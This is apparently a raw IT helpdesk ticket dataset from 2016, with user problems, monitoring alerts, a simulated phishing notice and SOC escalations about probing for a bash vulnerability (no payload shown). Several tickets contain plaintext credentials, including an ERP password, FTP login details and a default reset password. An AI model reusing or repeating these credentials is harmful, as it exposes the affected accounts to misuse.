best , is assigned to Assignment group: GRP\_34.Ticket with Short description: ticket update info provided to vksfrhdx njhaqket for bobj access, Description: from: rakthyesh ramdntythanjesh
sent: friday, august 19, 2016 5:52 am
to: vksfrhdx njhaqket; ctzykflo evzbhgru
cc: hadfiunr vupglewt; wvdxnkhf jirecvta; anftgup nftgyair
subject: re: bobj access
dear marftgytin,
yes, request is processed , completed and closed by anup
reference ticket no-ticket\_no1536921
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze phishing email-account information updated, Description: from: rakthyesh ramdntythanjesh
sent: friday, august 19, 2016 5:40 am
to: ed bigdrtyh
subject: re: account information updated
dear ed,
hope you are doing good,
please note that this is a phishing uacyltoe hxgaycze email sent out by it to uacyltoe hxgaycze our preparedness for actual scenarios.
congratuldhyation on detecting and highlighting the issue, , is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze phishing email-account information updated, Description: from: rakthyesh ramdntythanjesh \_x000D\_
sent: friday, august 19, 2016 5:39 am\_x000D\_
to: sunil gavasane\_x000D\_
subject: re: account information updated\_x000D\_
\_x000D\_
dear sunil,\_x000D\_
\_x000D\_
\_x000D\_
hope you are doing good,\_x000D\_
\_x000D\_
please note that this is a phishing uacyltoe hxgaycze email sent out by it to uacyltoe hxgaycze our preparedness for actual scenarios.\_x000D\_
\_x000D\_
congratuldhyation on detecting and highlighting the issue, , is assigned to Assignment group: GRP\_0.Ticket with Short description: see attachment discritpion does not show, Description: the discription shows correctly for mmaster but not for me. ??, is assigned to Assignment group: GRP\_29.Ticket with Short description: HostName\_1003: average (4 samples) disk free on e:\ is now 14%, which is below the warning threshold (15%), Description: HostName\_1003: average (4 samples) disk free on e:\ is now 14%, which is below the warning threshold (15%) out of total size 100.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: HostName\_898: average (4 samples) disk free on f:\ is now 14%, which is below the warning threshold (15%) , Description: HostName\_898: average (4 samples) disk free on f:\ is now 14%, which is below the warning threshold (15%) out of total size 8.0 gb, is assigned to Assignment group: GRP\_39.Ticket with Short description: emails are not being sent from the .net systemaccess applicaiton, Description: end-users are submitting security requests, but the approvers are not receiving emails from the systemaccess application to approve them., is assigned to Assignment group: GRP\_25.Ticket with Short description: solicito imagens da frente do cd visando avaliar furto de motor de betoneira, Description: perÃ­odo: das 12h00 de 15/08 atÃ© 12h00 de 18/08/2016, is assigned to Assignment group: GRP\_62.Ticket with Short description: unable to log in to skype , Description: unable to log in to skype , is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer driver update, Description: printer driver update, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa: interfacetengigabitethernet1/1/1 is down since 02:30pm et on 08/17, Description: usa: interfacetengigabitethernet1/1/1, dr l3 connection to 6500 top(10.1.200.1) on tech-4500x-stack.company.com is down since 02:30pm et on 08/17, is assigned to Assignment group: GRP\_4.Ticket with Short description: engineering tool icon on the desktop, Description: engineering tool icon on the desktop, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for aparecido, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: thursday, august 18, 2016 10:54 pm
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: amar request to reset microsoft online services password for recsynqt.byoezmla@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ recsynqt.byoezmla@gmail.com
â€¢ first name: aparecido
â€¢ last name: trhsyvdur
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: i'm trying to access crm through ess but getting message password has expired. i tried password\_management\_tool password manager , Description: i'm trying to access crm through ess but getting message password has expired. i tried password\_management\_tool password manager and unlocked all accounts. i rebooted pc. tried password manager again, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_106: c:\ on server: HostName\_106 is over 85% space consumed. space available: 2.8 g, Description: HostName\_106: volume: c:\ label:sys-HostName\_106 5c38eea1 on server: HostName\_106 is over 85% space consumed. space available: 2.8 g , is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to get the sales org in distributor\_tool , Description: unable to get the sales org in distributor\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist', Description: when i try to look at a configuration for a rqfhiong zkwfqagb, i get an error - while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist'
phone; , is assigned to Assignment group: GRP\_14.Ticket with Short description: telephony\_software login issue - yakimp & staszk, Description: two users have a problem with logging into telephony\_software system. qlzgbjck yzwnvbjt, login staszk and djskrgae dnckipwh, login yakimp. print screens attached. will you be able to assist? , is assigned to Assignment group: GRP\_7.Ticket with Short description: team sproc is not converting direct team revenue to employee currency code, Description: team sproc is not converting direct team revenue to employee currency code, is assigned to Assignment group: GRP\_25.Ticket with Short description: unlock erp SID\_34 account , Description: unlock erp SID\_34 account , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to collaboration\_platform, Description: unable to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to the pc , Description: unable to login to the pc , is assigned to Assignment group: GRP\_0.Ticket with Short description: businessobjects\_cms : cms server watcher: server named HostName\_995, Description: businessobjects\_cms: cms server watcher: server named HostName\_995 , is assigned to Assignment group: GRP\_14.Ticket with Short description: my erp login appears not to be working, Description: my erp login appears not to be working username wolfthry password kasphryer1, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software update, Description: :803
summary:telephony\_software update did not work, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock account email in cell phone the users qasdhyzm yuglsrwx (id: nasftgcijj) and rspqvzgu vroanwhu (id: silvgtyar1), Description: hello team,
could you please unlock account email in cell phone the users qasdhyzm yuglsrwx (id: nasftgcijj) and rspqvzgu vroanwhu (id: silvgtyar1)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: sales org tab does not show up the field, Description: sales org tab does not show up the field, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1387 failed in job\_scheduler at: 08/18/2016 11:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1387 failed in job\_scheduler at: 08/18/2016 11:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: ms crm online dash bankrd /opportunities issue., Description: ms crm online dash bankrd /opportunities issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open attachments in erp, Description: unable to open attachments in erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create dn, Description: hi it \_x000D\_
\_x000D\_
please assist o to create dn as i am not able to.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: to help jdamieul fandyhgg, Description:
received from: ztdgvclp.gzcalstq@gmail.com
hello,
danghtnuell is having a connection problem.
would you please get in touch with him?
615- office phone number.
, is assigned to Assignment group: GRP\_3.Ticket with Short description: account is locked, Description: account is locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2063b failed in job\_scheduler at: 08/18/2016 10:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063b failed in job\_scheduler at: 08/18/2016 10:29:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: reset the password for aliuytre j love-lewis on other / caas applications, Description: i would like to reset my caas applications (remote and desktop connection) password. itylnjqw kqiurhbt and thomklmas brrgtyant handles these request in our office .it is apart of the customer interaction phone system., is assigned to Assignment group: GRP\_7.Ticket with Short description: ms outlook issue: ms crm dynamics issue, Description: ms outlook issue: ms crm dynamics issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue, Description: 440
summary:i don't think i am receiving my email, is assigned to Assignment group: GRP\_0.Ticket with Short description: dev/software file system on HostName\_184 has consumed 86% of space, Description: dev/software file system on HostName\_184 has consumed 86% of space, is assigned to Assignment group: GRP\_47.Ticket with Short description: virus detected on pc, Description: virus detected on pc. please see attachment., is assigned to Assignment group: GRP\_50.Ticket with Short description: erp ecs tracking is not working resp. computer crashes , Description: erp ecs tracking is not working resp. computer crashes immediately when trying to get proof of delivery for ups shipments.\_x000D\_
\_x000D\_
del. note - header - ecs tracking and when clicking on proof of delivery erp stops - tried several times - always the same, is assigned to Assignment group: GRP\_49.Ticket with Short description: account unlock request from herr schmidt : dnc430, Description: account unlock request from herr schmidt : dnc430, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access the lunch menu on the hub, Description: email:
from: renyhtuee a meayhtger
sent: thursday, august 18, 2016 5:10 pm
to: nwfodmhc exurcwkm <nwfodmhc.exurcwkm@gmail.com>
subject: fw: renyhtuee a meayhtger wants to access 'lunch-menus'
can someone check on why i can't access lunch menus? did something change in collaboration\_platform? this should be available to everyone!
best , is assigned to Assignment group: GRP\_27.Ticket with Short description: not able to login to hub, Description: not able to login to hub\_x000D\_
\_x000D\_
helped with email address and asked her to user after some time., is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access collaboration\_platform it homepage - , Description: error: access denied (screenshot attached).\_x000D\_
confirmed that gso and security admin team members are unable to access, possibly others as well.\_x000D\_
\_x000D\_
informed gvxfymjk euioadyf and khadfhty who are currently investigating.\_x000D\_
\_x000D\_
we are able to access other sites including cor relations, finance, markhtyeting and the gso subsite as well when accessed directly through url, is assigned to Assignment group: GRP\_16.Ticket with Short description: canÂ´t do pgi for mm 5316075, Description: +49
SID\_34
error: item category is not defined message - no. vl324
i canÂ´t do the pgi for :
9168049095
8057945735
9168049015
, is assigned to Assignment group: GRP\_18.Ticket with Short description: snipping tool shortcut, Description: snipping tool shortcut, is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze chat, Description: ic: welcome, our next available agent will be with you shortly...\_x000D\_
ic: interaction alerting agent.\_x000D\_
aytjedki rucfxpla: uacyltoe hxgaycze\_x000D\_
aytjedki rucfxpla: this is sabrthy\_x000D\_
ic: website visitor has joined the conversation\_x000D\_
efbwiadp dicafxhv: hello sabrthy\_x000D\_
efbwiadp dicafxhv: its working fine# \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/18/2016 08:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/18/2016 08:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/18/2016 07:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/18/2016 07:59:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/18/2016 07:59:00 , Description: \_x000D\_
\_x000D\_
received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/18/2016 07:59:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: HostName\_173(erp - SID\_8): average (1 samples) disk free on /home is now 12%, which is below the warning threshold (15%), Description: HostName\_173(erp - SID\_8): average (1 samples) disk free on /home is now 12%, which is below the warning threshold (15%) out of total size 0.0 gb, is assigned to Assignment group: GRP\_47.Ticket with Short description: business\_client & erp gui issue, Description: a couple of users (nmzfdlar whzbrusx, uwdqtrnx uhntgvyj) have reported the attached error when using the transaction code zwwirep., is assigned to Assignment group: GRP\_11.Ticket with Short description: qlhmawgi sgwipoxn unlock request : nk\_prod, Description: qlhmawgi sgwipoxn unlock request : nk\_prod, is assigned to Assignment group: GRP\_0.Ticket with Short description: possible bash command injection attempt , Description: dsw in33637966\_x000D\_
\_x000D\_
we are seeing '50990 vid63154 possible bash command injection attempt - bash in http header (incoming)' alerts being generated by your isensor03.company.com/10.32.100.17 device indicating that one or more hosts, including 220.202.123.178, are attempting to discover whether one of your internet-facing devices, including 10.250.1.13/clhqsm010, is vulnerable to a bash shell remote code execution vulnerability (cve-2014-6271). successful exploitation of these vulnerabilities may result in information disclosure or remote code execution. as the traffic in these alerts indicates an attempt to exploit said application, we are escalating this matheywter to you via a medium priority ticket. \_x000D\_
\_x000D\_
blocking each source ip address may not be productive due to attackers' ability to switch ip addresses through the use of proxies, anonymizing software such as tor, and vpns. please investigate your environment to determine whether you are running a vulnerable version of the application being targeted. , is assigned to Assignment group: GRP\_47.Ticket with Short description: 'internal outbreak for 7/udp', Description: dsw in33638260\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 54.96.80.216/att-singapore-asa.company.com-1 device generating at least 254 'internal outbreak for 7/udp' alerts within 10 minutes, for traffic (blocked) from awyl9912395/10.38.28.239 to port 7/udp of several internal hosts. this may indicate unauthorized reconnaissance scanning, a misconfiguration, or authorized internal discovery being blocked by the firewall.\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . , is assigned to Assignment group: GRP\_50.Ticket with Short description: 'repeat outbound connection for 135/tcp' , Description: dsw in33638700\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from ldgl8513807/10.24.14.230 to port 135/tcp (remote procedure call (rpc)) of external host 220.250.64.225. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_3.Ticket with Short description: machine stuck on welcome screen , Description: machine stuck on welcome screen , is assigned to Assignment group: GRP\_0.Ticket with Short description: rma customer return error, Description: billing 0158655822 , inwarehouse\_tool 415464 \_x000D\_
customer return not processed correctly\_x000D\_
when input billing 0158655822, the material isn't copied from the reference., is assigned to Assignment group: GRP\_13.Ticket with Short description: urgent : user : vvspecmfrt : please reactivate account., Description: user : vvspecmfrt : please reactivate account.\_x000D\_
\_x000D\_
from 18.august.2016 till 28.february.2017 it should be active., is assigned to Assignment group: GRP\_2.Ticket with Short description: monitor on rqxw8515251 is out., Description: monitor on rqxw8515251 is out., is assigned to Assignment group: GRP\_3.Ticket with Short description: very urgent: reset windows password, Description:
received from: oslzvpgk.nhwsxgpb@gmail.com
good day
htnvbwxs gwfrzuex has already issued a ticket for this â€“ please address aerp!
please reset windows password for rhgteini
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype does not open., Description: skype does not open., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook does not open., Description: outlook does not open., is assigned to Assignment group: GRP\_0.Ticket with Short description: password cannot changed, Description: \_x000D\_
\_x000D\_
received from: tbukjcyl.lxncwqbj@gmail.com\_x000D\_
\_x000D\_
dear all\_x000D\_
could you please help me to fix it,\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f978.729627d0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: tess installation , Description: tess installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: attendance\_tool password, Description:
received from: dwafrmth.oabwzitv@gmail.com
hi
i have forgotten the attendance\_tool password my user id is 20452489
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: issue in business\_client, Description: \_x000D\_
\_x000D\_
received from: eakhgxbw.pfyadjmb@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
i am facing issue in opening business\_client.\_x000D\_
\_x000D\_
getting following error msg.\_x000D\_
\_x000D\_
pl help on this.\_x000D\_
[cid:image009.jpg@01d1f967.2e19de50]\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mitarbeiter reichenberg philipp benÃ¶tigt berechtigung fÃ¼r den ordner file:///m:\ce\_leiter, Description: mitarbeiter reichenberg philipp benÃ¶tigt berechtigung fÃ¼r den ordner file:///m:\ce\_leiter, is assigned to Assignment group: GRP\_34.Ticket with Short description: printer not working , Description: printer not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for fniqhjtg qrfuetpw on windows login, Description: please reset users windows password to welcome1, as she is having issues logging in., is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker an messmaschine r173 in halle b hat stÃ¤ndig papierstau., Description: drucker an messmaschine r173 in halle b hat stÃ¤ndig papierstau., is assigned to Assignment group: GRP\_33.Ticket with Short description: access new payroll site, Description: \_x000D\_
\_x000D\_
received from: cvqnstgu.ofnimlwx@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
i have been having an issue with being able to gain access to make approvals for our new payroll site.\_x000D\_
\_x000D\_
they have advised the issue is with my browser.\_x000D\_
\_x000D\_
below is the email trail on the issue.\_x000D\_
\_x000D\_
can i get some assistance to rectify the problem?i don't want to download the wrong browser.\_x000D\_
\_x000D\_
\_x000D\_
to all\_x000D\_
\_x000D\_
who should i contact to resolve this issue?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to see drawings in business\_client, Description: not able to view/download tool drawings over business\_client.
summary:business\_client - refer call by mr. dwfiykeo argtxmvcumar, is assigned to Assignment group: GRP\_0.Ticket with Short description: please help, Description: \_x000D\_
\_x000D\_
received from: iqmhjlwr.jqmxaybi@gmail.com\_x000D\_
\_x000D\_
please can you help me. i am experiencing nearly 90 min delay on my incoming e-mails as per below screenshot\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f93f.11ea7910]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: win installation image for russia office, Description:
received from: koahsriq.wdugqatr@gmail.com
good day all
we need to rebuild 1 win 7 laptop and 1 new with win 7 image. could you please download actual images on our ftp (credential below)? usually romftguald helping us with this kind of downloading but now he is unavailable
ftp:\\ftp.terralink.ru
login: company
password: companymet@l
Ñ ÑƒÐ²Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼,
ÐµÐ²Ð³ÐµÐ½Ð¸Ñ.
koahsriq wdugqatr,
administrative assistant.
koahsriq.wdugqatr@gmail.com<mailto:koahsriq.wdugqatr@gmail.com>
, is assigned to Assignment group: GRP\_65.Ticket with Short description: mail access in mobile, Description: \_x000D\_
\_x000D\_
received from: rsvminjz.tcpqvbae@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
provide me the mail access for mobile. encl the details.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: the attached 7 initiatives in "director approved" status, but cannot be released, Description: per subject, i have changed the status to "director approved", but cannot release. error message "enter channel manager", but in account details, the cm is available. can you please solve?, is assigned to Assignment group: GRP\_15.Ticket with Short description: erp login issue, Description: \_x000D\_
\_x000D\_
received from: csmtowqn.ulpjtgfo@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
iam getting the below error while trying to login. kindly help.\_x000D\_
\_x000D\_
[cid:image001.png@01d1f958.2cf09e60]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: purchasing zitec catalogue does not work in SID\_34, Description: whenn accessing the catalog the company logon data are missing (userid and password are not given)\_x000D\_
in SID\_1 it works in SID\_34 not. please check., is assigned to Assignment group: GRP\_29.Ticket with Short description: installation of engineering tool/engineering\_tool/google chrome/winrar/, Description: \_x000D\_
\_x000D\_
received from: irqpwgtn.dpautgeh@gmail.com\_x000D\_
\_x000D\_
dear concern,\_x000D\_
\_x000D\_
please install all related apps to my laptop as i got new laptop.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: sipppr routing to demand planners not working ... sippprs get routed to admin, Description: as of this morning, the routing for sippprs to demand planners seems to be broken., is assigned to Assignment group: GRP\_20.Ticket with Short description: netzteil an der docking station ohne funktion., Description: netzteil an der docking station ohne funktion.\_x000D\_
\_x000D\_
ext : 673\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: browserproblem mit hub , Description:
received from: mnakehrf.mvunqihf@gmail.com
guten tag,
the hub lÃ¤sst sich an meinem rechner nicht Ã¶ffnen.
der bildschirm â€žbaut" sich nicht auf. einige wenige male funktioniert es.
auf anderen rechnern funktioniert es. browserproblem?
[cid:image001.png@01d1f935.373777e0]
mit freundlichen grÃ¼ÃŸen
mnakehrf mvunqihf
analyst payroll
mnakehrf.mvunqihf@gmail.com<mailto:mnakehrf.mvunqihf@gmail.com>
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to sign in collaboration\_platform,, Description:
received from: qubywmgf.jouickqx@gmail.com
that didn't work
we're sorry, but qubywmgf.jouickqx@gmail.com can't be found in the company.collaboration\_platform.com directory. please try again later, while we try to automatically fix this for you.
here are a few ideas:
[
click here to sign in with a different account to this site.<javascript:loginasanother('\u002f\_layouts\u002fcloseconnection.aspx?loginasanotheruser=true\u0026source=\u00252f',1)>
this will sign you out of all other office 365 services that you're signed into at this time.
[
if you're using this account on another site and don't want to sign out, start your browser in private browsing mode for this site (show me how)<
if that doesn't help, contact your support team and include these technical details:
correlation id: 01ec9a9d-7035-2000-1602-ce2ff57c84f1
date and time: 8/18/2016 12:35:10 am
url:
user: qubywmgf.jouickqx@gmail.com
issue type: user not in directory.
for company
athjyul dixhtyuit
senior manager sales - north ( msg)
qubywmgf.jouickqx@gmail.com<mailto:qubywmgf.jouickqx@gmail.com>
companytm
, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software-software upgrade funktioniert nicht, Description: telephony\_software-software upgrade funktioniert nicht. pc: empl8111412\_x000D\_
vor dem start des upgrades wurden alle programdntyme geschlossen.\_x000D\_
nach dem start des upgrades erschien folgende fehlermeldung "wusa.exe - anwendungsfehler" (siehe datei)\_x000D\_
nach der bestÃ¤tigung mit "ok" wurde anwendung geschlossen und der upgrade nicht durchgefÃ¼hrt.\_x000D\_
\_x000D\_
translation : \_x000D\_
telephony\_software software upgrade does not work. pc: empl8111412\_x000D\_
before starting the upgrade, all programdntys have been closed.\_x000D\_
after starting the upgrade following error message appeared "wusa.exe - application error" (see file)\_x000D\_
after confirming with "ok" application is closed and the upgrade is not performed.\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: abended job in job\_scheduler: Job\_1338, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1338 at 08/18/16 02:54:34, is assigned to Assignment group: GRP\_9.Ticket with Short description: abended job in job\_scheduler: Job\_1388, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1388 at 08/18/16 02:54:34, is assigned to Assignment group: GRP\_9.Ticket with Short description: tess issue, Description: \_x000D\_
\_x000D\_
received from: ufgkybsh.ijswtdve@gmail.com\_x000D\_
\_x000D\_
dear sir/mam,\_x000D\_
\_x000D\_
i am facing issue with tess software. kindly help me to resolve the issue.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f94b.49e78c70]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1332, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1332 at 08/18/16 02:51:35, is assigned to Assignment group: GRP\_9.Ticket with Short description: engineering\_tool not opening, Description: \_x000D\_
\_x000D\_
received from: qmpyjfbn.zlyiwtch@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please help to resolve the below issue while opening engineering\_tool, will be available in office for next 1 hour.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f947.8d282e30]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wireless access point prÃ¼fen geb.14 ,geb16 und konferenzraum geb.2 \xmlbfjpg yegzbvru, Description: wireless access point prÃ¼fen geb.14 ,geb16 und konferenzraum geb.2 \xmlbfjpg yegzbvru, is assigned to Assignment group: GRP\_24.Ticket with Short description: business\_client error, Description: \_x000D\_
\_x000D\_
received from: zcyueotq.ehvpaqnf@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
i am getting below error when i open business\_client\_x000D\_
\_x000D\_
[cid:image004.jpg@01d1f946.9ca4fba0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit lan \ewew8323735 \xwirzvda okhyipgr, Description: probleme mit lan \ewew8323735 \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit lan \ewew8323862 \xwirzvda okhyipgr, Description: probleme mit lan \ewew8323862 \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: wireless access point funktioniert nicht \jxphgfmb gjbtuwek, Description: wireless access point funktioniert nicht \jxphgfmb gjbtuwek, is assigned to Assignment group: GRP\_24.Ticket with Short description: vnc-zugriff auf empwx000189 (sk-presserei germany) geht nicht mehr, Description: fehlermeldung "failed to connect to server". lt. kollegen in der sk-presserei ist die pc-nummer aber richtig, und der pc wurde auch nicht ausgetauscht oder erneuert. danke!, is assigned to Assignment group: GRP\_33.Ticket with Short description: goods movement mb11, Description: hello,
please let me know how to conduct goods movement with mb11 for mm#6545035 / 6100063 which are not accepted.
\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*
æ ªå¼ä¼šç¤¾ã€€ã‚¨ã‚¯ã‚¹ãƒ„ãƒ«ãƒ¼ãƒ‰ãƒ›ãƒ¼ãƒ³
ãƒ—ãƒ­ã‚¸ã‚§ã‚¯ãƒˆã‚¨ãƒ³ã‚¸ãƒ‹ã‚¢
ç”°æ‘ã€€å°šä¿Š
iwazgesl ydgqtpbo
project engineer & supply chain logistics
company k.k.
e-mail: iwazgesl.ydgqtpbo@gmail.com
\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*-\*
ï¼ˆå¼Šç¤¾ã¯2016å¹´1æœˆ1æ—¥ã‚ˆã‚Šä¼šç¤¾åã‚’æ ªå¼ä¼šç¤¾ã‚¨ã‚¯ã‚¹ãƒ„ãƒ«ãƒ¼ãƒ‰ãƒ›ãƒ¼ãƒ³ã¸å¤‰æ›´è‡´ã—ã¾ã—ãŸã€‚ï¼‰
, is assigned to Assignment group: GRP\_29.Ticket with Short description: cancel migo entry for po5018096568 (5321) , Description: \_x000D\_
\_x000D\_
received from: neokfwiy.ufriscym@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
due to the goods delivery issue by plant\_298, please help to reverse the migo entry material doc. 6126951797 /accounting doc. 6111167039, also need you help to reverse the good issue doc. 5011169990, the d/n 9168984815 has been cancelled.\_x000D\_
\_x000D\_
[cid:image002.png@01d1f956.6d0ac0e0]\_x000D\_
\_x000D\_
[cid:image003.png@01d1f956.fb694960]\_x000D\_
\_x000D\_
[cid:image001.png@01d1f957.983fbd00]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: ç”µè„‘å¡ä¸”è¿žä¸ä¸Šå†…ç½‘, Description:
received from: tuqrvowp.fxmzkvqo@gmail.com
ç”µè„‘å¡ä¸”è¿žä¸ä¸Šå†…ç½‘ï¼Œè¯·è½¬è´ºæ­£å¹³
tuqrvowp fxmzkvqo é’±å”é‘«
human resources
tuqrvowp.fxmzkvqo@gmail.com<mailto:tuqrvowp.fxmzkvqo@gmail.com>
ä¸­å›½ä¸Šæµ·å¥‰è´¤é™ˆæ¡¥è·¯1508å·
, is assigned to Assignment group: GRP\_30.Ticket with Short description: fe08 doesn't work in erp, Description: when i print oa in erp and choose the fe08, fe08 doesn't work . but it's work when i print excel/word/pdf files .
my erp id:wrtyuh2
the matheywter is also happened with erp id: fufrtal.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1148, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1148 at 08/18/16 01:15:32, is assigned to Assignment group: GRP\_9.Ticket with Short description: configuration of knowledge center , Description: \_x000D\_
\_x000D\_
received from: rnueobcz.lwhcbati@gmail.com\_x000D\_
\_x000D\_
please add/connect the below mail id to my outlook.\_x000D\_
i need access to send & receive the emails. it should work with both mine & gslpdhey ksiyurvlir's outlook.\_x000D\_
\_x000D\_
-knowledge.center@company.com<mailto:-knowledge.center@company.com>\_x000D\_
w-in-knowledge.center@company.com<mailto:w-in-knowledge.center@company.com>\_x000D\_
\_x000D\_
action request urgent.\_x000D\_
\_x000D\_
